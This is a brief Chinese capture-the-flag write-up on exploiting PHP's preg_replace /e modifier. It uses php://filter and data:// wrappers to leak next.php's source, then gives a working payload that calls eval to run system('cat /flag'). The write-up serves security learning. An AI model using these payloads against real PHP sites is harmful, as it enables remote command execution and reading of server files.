知识点:
preg_replace /e 模式下的代码执行问题
比如出现:
preg_replace('/(' . $re . ')/ei','strtolower("\\1")',$str);
可以利用这个漏洞构造出命令执行漏洞; 具体
在这道题里面,首先使用php伪协议来构造参数:
text 使用data://text/plain,<内容>
file 使用file:php://filter/read=convert.base64-encode/resource=文件名来构造;
?file=php://filter/read=convert.base64-encode/resource=next.php&text=data://text/plain,I have a dream
将得到的解码得到代码:
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;
function complex($re, $str) {
return preg_replace('/(' . $re . ')/ei','strtolower("\\1")',$str);
}
foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";}
function getFlag(){ @eval($_GET['cmd']);
}
构造:在next.php后
?\S*={${getFlag()}}&cmd=system('cat /flag')
其实应该先ls /
看到有flag列表,再打开;